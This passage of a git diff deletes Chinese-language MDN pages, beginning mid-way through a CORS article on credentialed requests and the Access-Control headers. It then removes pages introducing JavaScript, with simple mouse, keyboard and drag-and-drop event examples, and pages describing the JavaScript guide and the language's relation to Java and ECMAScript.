  • 在服务端去掉对预检请求的重定向;
  • -
  • 将实际请求变成一个简单请求。
  • -
- -

如果上面两种方式难以做到,我们仍有其他办法:

- - - -

不过,如果请求是由于存在 Authorization 字段而引发了预检请求,则这一方法将无法使用。这种情况只能由服务端进行更改。

- -

附带身份凭证的请求

- -

Fetch 与 CORS 的一个有趣的特性是,可以基于  HTTP cookies 和 HTTP 认证信息发送身份凭证。一般而言,对于跨域 {{domxref("XMLHttpRequest")}} 或 Fetch 请求,浏览器不会发送身份凭证信息。如果要发送凭证信息,需要设置 XMLHttpRequest 的某个特殊标志位。

- -

本例中,http://foo.example 的某脚本向 http://bar.other 发起一个GET 请求,并设置 Cookies:

- -
var invocation = new XMLHttpRequest();
-var url = 'http://bar.other/resources/credentialed-content/';
-
-function callOtherDomain(){
-  if(invocation) {
-    invocation.open('GET', url, true);
-    invocation.withCredentials = true;
-    invocation.onreadystatechange = handler;
-    invocation.send();
-  }
-}
- -

第 7 行将 XMLHttpRequest 的 withCredentials 标志设置为 true,从而向服务器发送 Cookies。因为这是一个简单 GET 请求,所以浏览器不会对其发起“预检请求”。但是,如果服务器端的响应中未携带 Access-Control-Allow-Credentials: true ,浏览器将不会把响应内容返回给请求的发送者。

- -

- -

客户端与服务器端交互示例如下:

- -
GET /resources/access-control-with-credentials/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Referer: http://foo.example/examples/credential.html
-Origin: http://foo.example
-Cookie: pageAccess=2
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:34:52 GMT
-Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
-X-Powered-By: PHP/5.2.6
-Access-Control-Allow-Origin: http://foo.example
-Access-Control-Allow-Credentials: true
-Cache-Control: no-cache
-Pragma: no-cache
-Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 106
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Content-Type: text/plain
-
-
-[text/plain payload]
- -

即使第 11 行指定了 Cookie 的相关信息,但是,如果 bar.other 的响应中缺失 {{HTTPHeader("Access-Control-Allow-Credentials")}}: true(第 19 行),则响应内容不会返回给请求的发起者。

- -

附带身份凭证的请求与通配符

- -

对于附带身份凭证的请求,服务器不得设置 Access-Control-Allow-Origin 的值为“*”。

- -

这是因为请求的首部中携带了 Cookie 信息,如果 Access-Control-Allow-Origin 的值为“*”,请求将会失败。而将 Access-Control-Allow-Origin 的值设置为 http://foo.example,则请求将成功执行。

- -

另外,响应首部中也携带了 Set-Cookie 字段,尝试对 Cookie 进行修改。如果操作失败,将会抛出异常。

- -

HTTP 响应首部字段

- -

本节列出了规范所定义的响应首部字段。上一小节中,我们已经看到了这些首部字段在实际场景中是如何工作的。

- -

Access-Control-Allow-Origin

- -

响应首部中可以携带一个 {{HTTPHeader("Access-Control-Allow-Origin")}} 字段,其语法如下:

- -
Access-Control-Allow-Origin: <origin> | *
-
- -

其中,origin 参数的值指定了允许访问该资源的外域 URI。对于不需要携带身份凭证的请求,服务器可以指定该字段的值为通配符,表示允许来自所有域的请求。

- -

例如,下面的字段值将允许来自 http://mozilla.com 的请求:

- -
Access-Control-Allow-Origin: http://mozilla.com
- -

如果服务端指定了具体的域名而非“*”,那么响应首部中的 Vary 字段的值必须包含 Origin。这将告诉客户端:服务器对不同的源站返回不同的内容。

- -

Access-Control-Expose-Headers

- -

译者注:在跨域访问时,XMLHttpRequest对象的getResponseHeader()方法只能拿到一些最基本的响应头,Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma,如果要访问其他头,则需要服务器设置本响应头。

- -

{{HTTPHeader("Access-Control-Expose-Headers")}} 头让服务器把允许浏览器访问的头放入白名单,例如:

- -
Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
-
- -

这样浏览器就能够通过getResponseHeader访问X-My-Custom-Header和 X-Another-Custom-Header 响应头了。

- -

Access-Control-Max-Age

- -

{{HTTPHeader("Access-Control-Max-Age")}} 头指定了preflight请求的结果能够被缓存多久,请参考本文在前面提到的preflight例子。

- -
Access-Control-Max-Age: <delta-seconds>
-
- -

delta-seconds 参数表示preflight请求的结果在多少秒内有效。

- -

Access-Control-Allow-Credentials

- -

{{HTTPHeader("Access-Control-Allow-Credentials")}} 头指定了当浏览器的credentials设置为true时是否允许浏览器读取response的内容。当用在对preflight预检测请求的响应中时,它指定了实际的请求是否可以使用credentials。请注意:简单 GET 请求不会被预检;如果对此类请求的响应中不包含该字段,这个响应将被忽略掉,并且浏览器也不会将相应内容返回给网页。

- -
Access-Control-Allow-Credentials: true
-
- -

上文已经讨论了附带身份凭证的请求

- -

Access-Control-Allow-Methods

- -

{{HTTPHeader("Access-Control-Allow-Methods")}} 首部字段用于预检请求的响应。其指明了实际请求所允许使用的 HTTP 方法。

- -
Access-Control-Allow-Methods: <method>[, <method>]*
-
- -

相关示例见这里

- -

Access-Control-Allow-Headers

- -

{{HTTPHeader("Access-Control-Allow-Headers")}} 首部字段用于预检请求的响应。其指明了实际请求中允许携带的首部字段。

- -
Access-Control-Allow-Headers: <field-name>[, <field-name>]*
-
- -

HTTP 请求首部字段

- -

本节列出了可用于发起跨域请求的首部字段。请注意,这些首部字段无须手动设置。 当开发者使用 XMLHttpRequest 对象发起跨域请求时,它们已经被设置就绪。

- -

Origin

- -

{{HTTPHeader("Origin")}} 首部字段表明预检请求或实际请求的源站。

- -
Origin: <origin>
-
- -

origin 参数的值为源站 URI。它不包含任何路径信息,只是服务器名称。

- -
Note: 有时候将该字段的值设置为空字符串是有用的,例如,当源站是一个 data URL 时。
- -

注意,不管是否为跨域请求,ORIGIN 字段总是被发送。

- -

Access-Control-Request-Method

- -

{{HTTPHeader("Access-Control-Request-Method")}} 首部字段用于预检请求。其作用是,将实际请求所使用的 HTTP 方法告诉服务器。

- -
Access-Control-Request-Method: <method>
-
- -

相关示例见这里

- -

Access-Control-Request-Headers

- -

{{HTTPHeader("Access-Control-Request-Headers")}} 首部字段用于预检请求。其作用是,将实际请求所携带的首部字段告诉服务器。

- -
Access-Control-Request-Headers: <field-name>[, <field-name>]*
-
- -

相关示例见这里

- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Fetch', '#cors-protocol', 'CORS')}}{{Spec2('Fetch')}}New definition; supplants CORS specification.
{{SpecName('CORS')}}{{Spec2('CORS')}}Initial definition.
- -

浏览器兼容性

- - - -

{{Compat("http.headers.Access-Control-Allow-Origin")}}

- -

- -
    -
  • IE 10 提供了对规范的完整支持,但在较早版本(8 和 9)中,CORS 机制是借由 XDomainRequest 对象完成的。
  • -
  • Firefox 3.5 引入了对 XMLHttpRequests 和 Web 字体的跨域支持(但最初的实现并不完整,这在后续版本中得到完善);Firefox 7 引入了对 WebGL 贴图的跨域支持;Firefox 9 引入了对 drawImage 的跨域支持。
  • -
- -

参见

- - - -

{{ languages( { "ja": "ja/HTTP_access_control" } ) }}

diff --git a/files/zh-cn/web/javascript/getting_started/index.html b/files/zh-cn/web/javascript/getting_started/index.html deleted file mode 100644 index 67056c679b..0000000000 --- a/files/zh-cn/web/javascript/getting_started/index.html +++ /dev/null @@ -1,294 +0,0 @@ ---- -title: 起步(Javascript 教程) -slug: Web/JavaScript/Getting_Started -tags: - - bug-840092 -translation_of: Learn/Getting_started_with_the_web/JavaScript_basics -translation_of_original: Web/JavaScript/Getting_Started ---- -

JavaScript是什么?

- -

作为一门计算机语言,JavaScript本身强大、复杂,且难于理解。但是,你可以用它来开发一系列的应用程序,它有巨大的潜力来改变当前的互联网现状。下面这个应用程序就是一个很好的例子:Google Maps

- -

JavaScript(通称为ECMAScript)最大的优势在于,它基于浏览器,但是通过浏览器的支持可以在不同平台上生产出相同结果。 本文举出的例子是 Google Maps,它几乎可以无差别的运行在 Linux、Windows和Mac OS系统中。 伴随大量JavaScript类库的出现,你现在可以用它很轻易的实现文档导航、DOM元素选择、创建动画、处理事件和开发AJAX应用。同其他因各种利益目的而推动的技术不同,JavaScript是一种真正免费并且被广泛采用的跨平台编程语言。

- -

你应该知道

- -

JavaScript是一种非常容易入门的编程语言。你只需要一个文本编辑器和web浏览器就可以开始进行学习。 

- -

在使用 JavaScript进行开发的过程中,可能还会涉及很多其他技术,这不在本文讨论的范围之内。 所以,不要期望在学习的第一天就能开发出一个类似 Google maps 这样的应用程序。

- -

起步

- -

JavaScript的起步非常简单。你不需要进行复杂的程序安装,不需要去了解如何使用shell、打包器或编译器。它是通过浏览器来展示的,你所需要做的全部事情就是把你的代码保存为文本文件,然后再浏览器中打开。就这么简单!

- -

JavaScript非常适合作为入门级的编程语言。它直观形象,并且教会学生认识到这是一个在实际生活中非常有用的工具。 对比C、C++和 Java等语言会发现有很大不同,它们只对那些专业的软件开发者来说是有价值的。

- -

浏览器兼容问题

- -

不同浏览器在功能实现上有很多不同之处。Mozilla, Microsoft IE, Apple Safari 和 Opera 在行为上有很多差异。 我们计划在此记录这些差异 documenting these variations。你可以使用各种跨平台的JavaScript API接口来解决这些兼容性问题。这些API隐藏了浏览器之间的各种差异,提供了通用性的功能函数来方便调用。

- -

如何运行示例

- -

下面的例子都有相同的代码。要执行它们有多种方法,如果你有自己的个人站点,你还可以在站点上把这些例子保存为新的页面。

- -

如果你没有自己的个人站点,你可以在电脑上把这些例子保存下来,并使用你自己的浏览器来执行它们。这就是JavaScript简单的地方,也是它适合做入门语言的原因。你不需要编译器或者开发环境,你只需要一个浏览器就可以开始起步了。

- -

举例:捕获一个鼠标单击事件

- -

事件处理 (事件类型、事件注册、冒泡等) 的细节是一个非常宽泛的话题,这个简单的例子并不能说明所有的问题。然而,如果我们不涉及JavaScript事件系统,我们就不能很好展示一个鼠标点击捕获的范例。你只需要记得例子里展示的只是JavaScrpt事件系统里非常表象的一些东西,如果你想要了解更多的内部细节,那你可以去查找更详细的相关资料。

- -

鼠标事件只是浏览器同用户交互过程中所产生的事件系统里的一个子集。下面列举了一些用户在交互过程中产生的具体的鼠标事件:

- -
    -
  • Click - 用户点击鼠标时触发
  • -
  • DblClick - 用户双击鼠标时触发
  • -
  • MouseDown - 用户按下鼠标键触发 (click事件前半部分)
  • -
  • MouseUp - 用户释放鼠标键触发 (click事件后半部分)
  • -
  • MouseOut - 当鼠标指针离开对象物理边界时触发
  • -
  • MouseOver - 当鼠标指针进入对象物理边界时触发
  • -
  • MouseMove -当鼠标指针在对象物理边界内移动时触发
  • -
  • ContextMenu - 用户点击鼠标右键时触发
  • -
- -

捕获事件并注册处理函数最简单的办法就是使用HTML,你可以把事件当成元素属性来使用。例子:

- -
  <span onclick="alert('Hello World!');">Click Here</span>
- -

要执行的JavaScript代码既可以作为属性值写在行内位置,也可以写成函数并用<script>包裹后放到HTML页面中:

- -
<script type="text/javascript">
-  function onclick_callback () {
-     alert ("Hello, World!");
-  }
-</script>
-<span onclick="onclick_callback();">Click Here</span>
- -

另外,事件对象是可以被捕获和引用,开发者可以通过访问事件对象来获取更多信息,如捕获事件的对象、事件类型、哪个鼠标按键被点击等。我们还用上面的例子来说明:

- -
<script type="text/javascript">
-  function onclick_callback(event) {
-    var eType = event.type;
-    /* the following is for compatability */
-    /* Moz populates the target property of the event object */
-    /* IE populates the srcElement property */
-    var eTarget = event.target || event.srcElement;
-
-    alert( "Captured Event (type=" + eType + ", target=" + eTarget );
-  }
-</script>
-<span onclick="onclick_callback(event);">Click Here</span>
- -

对于事件的注册和接收还用注意一些的是,你可以给任何使用JavaScript生成的HTMLElement对象做相同的操作。下面的例子展示了一个这样的过程:生成span对象,添加到页面中的body,给span注册mouse-over、mouse-out、mouse-down和 mouse-up事件。

- -
<script type="text/javascript">
-  function mouseevent_callback(event) {
-    /* The following is for compatability */
-    /* IE does NOT by default pass the event object */
-    /* obtain a ref to the event if one was not given */
-    if (!event) event = window.event;
-
-    /* obtain event type and target as earlier */
-    var eType = event.type;
-    var eTarget = event.target || event.srcElement;
-    alert(eType +' event on element with id: '+ eTarget.id);
-  }
-
- function onload () {
-   /* obtain a ref to the 'body' element of the page */
-   var body = document.body;
-   /* create a span element to be clicked */
-   var span = document.createElement('span');
-   span.id = 'ExampleSpan';
-   span.appendChild(document.createTextNode ('Click Here!'));
-
-   /* register the span object to receive specific mouse events */
-   span.onmousedown = mouseevent_callback;
-   span.onmouseup = mouseevent_callback;
-   span.onmouseover = mouseevent_callback;
-   span.onmouseout = mouseevent_callback;
-
-   /* display the span on the page */
-   body.appendChild(span);
-}
-</script>
- -

{{ draft() }}

- -

举例:捕获一个键盘事件

- -

同上面的例子类似,键盘事件捕获也依赖于JavaScript事件系统。当键盘上的键被使用的时候触发键盘事件。

- -

下面的列表展示了一些具体的键盘事件,同鼠标事件相比是很少的:

- -
    -
  • KeyPress - 按键被按下并且释放后触发
  • -
  • KeyDown - 按键被按下但是还没有被释放时触发
  • -
  • KeyUp - 按键被释放时触发
  • -
  • TextInput ( Webkit浏览器下可以使用,并且只在输入时有效) - 通过粘贴、语音或者键盘输入文本时触发。本文不介绍该事件。
  • -
- -

在一个 keypress 事件中,键值的Unicode编码会存储到属性keyCode或者charCode 中,但是两者不会同时存在。按键会生成一个字母 (如 'a'),这时会把字母的编码存储到charCode 中,注意这里是区分大小写的( charCode 会判断shift键是否同时被按下)。其他情况下,编码会存储到 keyCode中。

- -

捕获键盘事件最简单的方法仍然是在HTML中注册键盘事件的处理函数,在元素属性中处理相关事件。 举例:

- -
  <input type="text" onkeypress="alert ('Hello World!');"></input>
-
- -

同鼠标事件类似,你的 JavaScript代码既可以写到属性值内,也可以作为函数用<script包裹后写到HTML页面中:

- -
<script type="text/javascript">
-  function onkeypress_callback () {
-    alert ("Hello, World!");
-  }
-</script>
-
-<input onkeypress="onkeypress_callback();"></input>
-
- -

捕获事件和引用事件源(一个真实的键被按下时) 的方法同鼠标事件类似:

- -
<script type="text/javascript">
-  function onkeypress_callback(evt) {
-      var eType = evt.type; // Will return "keypress" as the event type
-      var eCode = 'keyCode is ' + evt.keyCode;
-      var eChar = 'charCode is ' + evt.charCode;
-
-      alert ("Captured Event (type=" + eType + ", key Unicode value=" + eCode + ", ASCII value=" + eChar + ")");
-   }
-</script>
-<input onkeypress="onkeypress_callback(event);"></input>
- -

要捕获页面上所有的键盘事件,可以在document上注册和绑定相关的处理函数:

- -
<script type="text/javascript">
-  document.onkeypress = key_event;
-  document.onkeydown = key_event;
-  document.onkeyup = key_event;
-
-  function key_event(evt) {
-      var eType = evt.type;
-      var eCode = "ASCII code is " + evt.keyCode;
-      var eChar = 'charCode is ' + evt.charCode;
-
-      alert ("Captured Event (type=" + eType + ", key Unicode value=" + eCode + ", ASCII value=" + eChar + ")");
-   }
-</script>
- -

下面是一个完整的键盘事件处理过程:

- -
<!DOCTYPE html>
-<html>
-<head>
-  <script>
-    var metaChar = false;
-    var exampleKey = 16;
-    function keyEvent(event) {
-      var key = event.keyCode || event.which;
-      var keychar = String.fromCharCode(key);
-      if (key==exampleKey) { metaChar = true; }
-      if (key!=exampleKey) {
-         if (metaChar) {
-            alert("Combination of metaKey + " + keychar)
-            metaChar = false;
-         } else { alert("Key pressed " + key); }
-      }
-    }
-    function metaKeyUp (event) {
-      var key = event.keyCode || event.which;
-      if (key==exampleKey) { metaChar = false; }
-    }
-  </script>
-</head>
-<body onkeydown="keyEvent(event)" onkeyup="metaKeyUp(event)">
-</body>
-</html>
- -

浏览器 bugs 和 quirks

- -

键盘事件中有两个可用的属性keyCode 和 charCode。通常情况下,keyCode 指向的是用户按下的键盘上的那个键,而charCode 存储的是相应键的 ASCII 码值。这两个值不一定相同,如, 小写 'a' 和 大写 'A' 拥有相同的 keyCode,因为用户按下的是相同的按键,但是他们的charCode不同,因为两个字母的码值不同。 

- -

不同浏览器对于charCode的处理方式并不统一。例如Internet Explorer 和Opera 并不支持 charCode,他们把字母信息写到了keyCode中,而且只在 onkeypress下有效。在 Onkeydown 和Onkeyup的事件中, keyCode 存储的仍然是按键的相关信息。 Firefox 则使用 "which", 来区分字母。.

- -

可以到 Mozilla 文档 Keyboard Events 去了解关于键盘事件的更多信息。.

- -

{{ draft() }}

- -

举例:拖曳图片

- -

下面的例子展示了firefox浏览器下如何实现拖动图片:

- -
<!DOCTYPE html>
-<html>
-<head>
-<style type='text/css'>
-img { position: absolute; }
-</style>
-
-<script type='text/javascript'>
-window.onload = function() {
-
-  movMeId=document.getElementById("ImgMov");
-  movMeId.style.top = "80px";
-  movMeId.style.left = "80px";
-  movMeId.style.position = "absolute";
-
-  document.onmousedown = coordinates;
-  document.onmouseup=mouseup;
-
-  function coordinates(e) {
-    if (e == null) { e = window.event;}
-    var sender = (typeof( window.event ) != "undefined" ) ? e.srcElement : e.target;
-
-    if (sender.id=="ImgMov") {
-      mouseover = true;
-      pleft = parseInt(movMeId.style.left);
-      ptop = parseInt(movMeId.style.top);
-      xcoor = e.clientX;
-      ycoor = e.clientY;
-      document.onmousemove=moveImage;
-      return false;
-    } else {
-        return false;
-    }
-  }
-
-  function moveImage(e) {
-    if (e == null) { e = window.event; }
-    movMeId.style.left = pleft+e.clientX-xcoor+"px";
-    movMeId.style.top = ptop+e.clientY-ycoor+"px";
-    return false;
-  }
-
-  function mouseup(e) {
-    document.onmousemove = null;
-  }
-}
-</script>
-</head>
-
-<body>
-  <img id="ImgMov" src="http://mozcom-cdn.mozilla.net/img/covehead/about/logo/download/logo-only.png" width="64" height="64"/>
-  <p>Drag and drop around the image in this page.</p>
-</body>
-
-</html>
- -

举例:改变大小

- -
{{todo("Need Content. Or, remove headline")}}
- -

举例:绘制直线

- -
-

附加文档信息

- - -
- -

 

diff --git a/files/zh-cn/web/javascript/guide/about/index.html b/files/zh-cn/web/javascript/guide/about/index.html deleted file mode 100644 index d8b77fece9..0000000000 --- a/files/zh-cn/web/javascript/guide/about/index.html +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: 关于本指南 -slug: Web/JavaScript/Guide/About -tags: - - JavaScript - - 初学者 - - 指南 -translation_of: Web/JavaScript/Guide/Introduction -translation_of_original: Web/JavaScript/Guide/About ---- -

JavaScript 是一种跨平台的,基于对象的脚本语言。本指南介绍了所有您使用 JavaScript 所需要了解的事情。

- -

JavaScript 各版本中的新特性

- - -

- -

您应该已经了解的事情

- -

本指南假设您具有以下背景:

- -
    -
  • 对互联网和万维网(WWW)有基本的理解。
  • -
  • 对于超文本标记语言(HTML)的较好认知。
  • -
  • 一些编程经验。如果你刚开始接触编程,请学习JavaScript页面所链接的教程
  • -
- -

JavaScript 版本

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
表格 1 JavaScript 和 Navigator 版本对照
JavaScript 版本Navigator 版本
JavaScript 1.0Navigator 2.0
JavaScript 1.1Navigator 3.0
JavaScript 1.2Navigator 4.0-4.05
JavaScript 1.3Navigator 4.06-4.7x
JavaScript 1.4 
JavaScript 1.5Navigator 6.0
- Mozilla (开源浏览器)
JavaScript 1.6Firefox 1.5,及其它基于 Mozilla 1.8 的产品
JavaScript 1.7Firefox 2,及其它基于 Mozilla 1.8.1 的产品
JavaScript 1.8Firefox 3,及其它基于 Gecko 1.9 的产品
- -

哪里可以找到 JavaScript 的信息

- -

JavaScript 文档包括以下书目:

- -
    -
  • JavaScript 指南 (即本指南)提供了关于 JavaScript 语言及其对象的有关信息。
  • -
  • JavaScript 参考 提供 有关JavaScript 语言的参考资料。
  • -
- -

如果您刚刚开始接触 JavaScript,可以从 JavaScript 指南 开始。一旦掌握了基础知识,您可以从 JavaScript 参考 中获得更多关于特定的对象和语句的细节。

- -

学习 JavaScript 的窍门

- -

开始学习 JavaScript 很容易:您只需要一个流行的 Web 浏览器即可。这本指南中包含了一些仅在 Firefox(以及其它基于 Gecko 的浏览器)的近期版本中才有的特性,因此,建议您使用最新的 Firefox 浏览器。

- -

在Firefox中内嵌了两个用于测验JavaScript非常有效的工具: Web终端和Scratchpad。

- -

Web终端

- -

web终端会显示有关当前装载网页的信息,并且还包含命令行,您可以用它在当前的网页中执行 JavaScript 语句。

- -

要打开 web 终端,请在 Firefox 中的“工具”菜单中选择 “Web Developer“ 中的 "Web Console"。它显示在浏览器窗口的底部。在终端的底部是一个命令行,你可以输入 JavaScript, 而在上面的面板中可以看到输出。

- -

Image:ErrorConsole.png

- -

Scratchpad

- -

Web Console 在执行 JavaScript 的单个命令行时是非常好的,但是在执行多行命令时就没那么方便了,而且你也不可能在 Web Console 中保存你的代码。因此对于更复杂的例子,  Scratchpad 是一个更好的工具。

- -

 

- -

要打开 Scratchpad, 可以在 "Web Developer" 菜单下选择 "Scratchpad" , 它在 Firefox 中也位于 "Tools" 菜单下。它是一个单独的窗口以及编辑器,你可以使用它来写和执行浏览器中的代码。你也同样可以将脚本保存在硬盘,并且从硬盘装载。

- -

如果你选择了 "Inspect",  pad 中的代码会在浏览器中执行,其结果也会以 comment 的形式插入到 pad 中: 

- -

- -

文档约定

- -

JavaScript 应用可以运行在许多操作系统之上;本书中所给出的信息适用于所有这些系统。文件和目录的路径将以 Windows 的形式给出(反斜线用于分隔目录名)。对于 Unix 系统,目录的路径是相同的,只是将反斜线换成斜线即可。

- -

本指南使用如下形式的统一资源定位符(URL):

- -

http://server.domain/path/file.html

- -

在这些 URL 中,server 表示您的应用所运行的服务器的名称,比如 research1 或者 wwwdomain 表示您的互联网域名,比如 netscape.com 或者 uiuc.edupath 表示在服务器中的目录结构;而 file.html 则表示特定的文件名。一般来讲,URL 中的斜体部分为占位符,而其中的等宽字体则为原文。如果您的服务器启用了安全套接字层(SSL),则需要将 URL 中的 http 换成 https。

- -

本指南使用如下字体约定:

- -
    -
  • 等宽字体用于示例代码,代码罗列,API 以及语言元素(比如方法名或者属性名),文件名,路径名,目录名,HTML 标签,以及其它任何必需键入到屏幕中的文本。(等宽斜体字用于代码中的占位符)
  • -
  • 斜体字 用于本书的标题,强调,变量和占位符以及其它直接字面上的词汇。
  • -
  • 粗体 用于词汇表。
  • -
- -
{{ PreviousNext("JavaScript/Guide", "JavaScript/Guide/JavaScript_Overview") }}
diff --git a/files/zh-cn/web/javascript/guide/javascript_overview/index.html b/files/zh-cn/web/javascript/guide/javascript_overview/index.html deleted file mode 100644 index 96114a1f43..0000000000 --- a/files/zh-cn/web/javascript/guide/javascript_overview/index.html +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: JavaScript 概述 -slug: Web/JavaScript/Guide/JavaScript_Overview -tags: - - ECMAScript -translation_of: Web/JavaScript/Guide/Introduction -translation_of_original: Web/JavaScript/Guide/JavaScript_Overview ---- -

本节将介绍并讨论 JavaScript 的基本概念。

- -

什么是 JavaScript?

- -

JavaScript 是一种跨平台,面向对象的脚本语言。作为一种小巧且轻量级的语言,JavaScript 无意于独立运行,而是被设计为可以轻易嵌入到其它的产品和应用中,比如 Web 浏览器。在宿主环境中,JavaScript 可以被连接到环境中的对象之上,以提供对其的编程控制。

- -

核心的 JavaScript 中包含有一组核心的对象,包括 Array,DateMath,以及一组核心的语言要素,包括操作符,控制结构和语句。出于多种目的,可以通过为其增补附加的对象,对核心 JavaScript 加以扩展;例如:

- -
    -
  • 客户端 JavaScript 提供了用于控制浏览器(Navigator 或者其它浏览器)以及其中的文档对象模型(DOM)的对象,从而扩展了核心 JavaScript。例如,客户端扩展允许应用程序在 HTML 的表单中加入元素,以便响应用户事件,比如鼠标点击,表单输入和页面导航。
  • -
  • 服务器端 JavaScript 提供了服务于在服务器上运行 JavaScript 的对象,从而扩展了核心 JavaScript。例如,服务器端扩展可以允许应用程序访问关系型数据库,在应用程序的不同调用间提供信息的连续性,甚至于处理服务器之上的文件。
  • -
- -

借由 JavaScript 的 LiveConnect 功能,您可以让 Java 和 JavaScript 间实现通讯。从 JavaScript 中,您可以创建 Java 对象并访问它们的公共方法和域。从 Java 中,也可以访问 JavaScript 的对象,属性和方法。

- -

Netscape 发明了 JavaScript 并将 JavaScript 首先用于 Netscape 浏览器中。

- -

JavaScript 和 Java

- -

JavaScript 和 Java 虽然在某些方面相似,但在另外一些方面确有着本质的不同。JavaScript 语言类似于 Java 语言,但是没有 Java 的类型静态化和强类型检查。JavaScript 大部分的表达式语法,命名规范以及基本的控制流构成都和 Java 相同。正是由于这个原因,JavaScript 才从 LiveScript 改名得来。

- -

不同于 Java 的通过声明而形成的编译时的类系统,JavaScript 支持基于少量数据类型的运行时系统,这些数据类型用以表示数值、布尔值和字符串。JavaScript 使用基于原型的对象模型,而不是更常见的基于类的对象模型。基于原型的对象模型提供了动态的继承能力,实际上,究竟什么得到继承,对于每个对象都可能不同。JavaScript 还支持无需任何特殊的声明要求的函数。函数可以作为对象的属性,当成松散类型方法(loosely typed method)来执行。

- -

相比 Java 而言,JavaScript 是一种格式相当自由的语言。无需声明所有的变量,类和方法。无需关心方法是公共的,私有的或者是保护的,也无需实现接口。变量,参数,以及返回值都无需显式的类型声明。

- -

Java 是基于类的编程语言,目标在于快速的执行和类型安全。这里的类型安全,可以是比如,你不能将 Java 的整数强制转换为对象引用,或者通过篡改 Java 字节码来达到访问私有内存区域的目的。Java 基于类的模型意味着程序完全由类及其方法构成。这些类的继承以及强类型通常需要紧密耦合的对象层级结构。这些需求使得 Java 编程远比 JavaScript 编程要复杂。

- -

相比之下,JavaScript 的设计理念源于一系列更小巧的动态类型语言,比如 HyperTalk 和 dBASE。这些脚本语言以其更为简单的语法,更专业化的内建功能,以及最小化的对象创建需求,提供了更为大众化的编程工具。

- - - - - - - - - - - - - - - - - - - - - - - -
表 1.1 JavaScript 与 Java 的对比
JavaScriptJava
面向对象的。对象的类型间没有区别。继承是基于原型机制实现的,且属性和方法可以动态地添加到任何对象之上。基于类的。对象被划分为类和实例,且所有的继承是通过类的层级结构实现的。类或者实例不能动态地添加属性或方法。
变量的数据类型无需声明(动态化类型)。变量的数据类型必需声明(静态化类型)。
不能自动地写入硬盘不能自动地写入硬盘
- -

有关 JavaScript 和 Java 之间区别的更多信息,参见 对象模型的细节

- -

JavaScript 和 ECMAScript 规范

- -

Netscape 发明了 JavaScript 并将 JavaScript 首先用于 Netscape 浏览器中。不过, Netscape 正在与 Ecma International — 欧洲信息和通讯标准化协会(ECMA 曾是 European Computer Manufacturers Association,既欧洲计算机制造商协会的缩写)一道致力于交付一个基于核心 JavaScript 的,标准化的,国际化的编程语言,既 ECMAScript。ECMAScript 在所有支持该标准的应用程序中具有相同的特性。其它公司可以使用开放的标准语言来开发它们的 JavaScript 实现。ECMAScript 标准在 ECMA-262 规范中加以记述。

- -

ECMA-262 标准由 ISO(International Organization for Standardization,既国际化标准化组织)批准为 ISO-16262。在 Mozilla 网站上可以找到 PDF 版本的 ECMA-262 (过时的版本)。在 Ecma International 的网站 上也可以找到该规范。ECMAScript 规范没有描述文档对象模型(DOM)。该模型由 World Wide Web Consortium (W3C) 完成标准化。DOM 定义了 HTML 文档对象呈现在脚本中的方式。

- -

JavaScript 版本和 ECMAScript 版本之间的关系

- -

Netscape 与 Ecma International 的紧密合作形成了 ECMAScript 规范(ECMA-262)。下面的表格描述了 JavaScript 版本和 ECMAScript 版本之间的关系。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
表 1.2 JavaScript 版本和 ECMAScript 版本
JavaScript 版本与 ECMAScript 版本的关系
JavaScript 1.1ECMA-262,第 1 版 基于 JavaScript 1.1.
JavaScript 1.2ECMA-262 在 JavaScript 1.2 发布时尚未完成。由于以下原因,JavaScript 1.2 并不与 ECMA-262,第 1 版完全兼容: -
    -
  • Netscape 在 JavaScript 1.2 开发了一些新的特性尚未被 ECMA-262 采纳。
  • -
  • ECMA-262 添加了两项新特性:基于 Unicode 的国际化,以及跨平台的一致行为。而 JavaScript 1.2 的某些特性,例如 Date 对象,是依赖于平台的,且具有特定于平台的行为。
  • -
-
JavaScript 1.3JavaScript 1.3 完全兼容于 ECMA-262,第 1 版。
- JavaScript 1.3 解决了 JavaScript 1.2 与 ECMA-262 之间的不一致性,同时保留了 JavaScript 1.2 中的附加特性,除了  ==!= 被修改以便顺应于 ECMA-262 之外。
JavaScript 1.4JavaScript 1.4 完全兼容于 ECMA-262,第 1 版。
- ECMAScript 规范的第三版在 JavaScript 1.4 发布时尚未最终完成。
JavaScript 1.5JavaScript 1.5 完全兼容于 ECMA-262,第 3 版。
- -
注:ECMA-262,第 2 版仅包含对第 1 版规范的细微的编辑性的改动和错误修正。由 Ecma International 的 TC39 工作组发布的最新版本为 ECMAScript 版本 5.1
- -

JavaScript 参考 中标明了语言中的哪些特性兼容于 ECMAScript。

- -

JavaScript 将总会包含某些 ECMAScript 规范中所没有的特性;JavaScript 兼容于 ECMAScript,同时提供附加特性。

- -

JavaScript 文档相较于 ECMAScript 规范

- -

ECMAScript 规范了实现 ECMAScript 的一组需求;它有助于您确定某项 JavaScript 特性是否也为其它 ECMAScript 的实现所支持。如果您想编写仅仅使用 ECMAScript 所支持的特性的代码,那么您可能需要参考 ECMAScript 规范。

- -

ECMAScript 文档的目的不在于帮助脚本程序员;关于脚本编写的信息,请参考 JavaScript 文档。

- -

JavaScript 和 ECMAScript 术语

- -

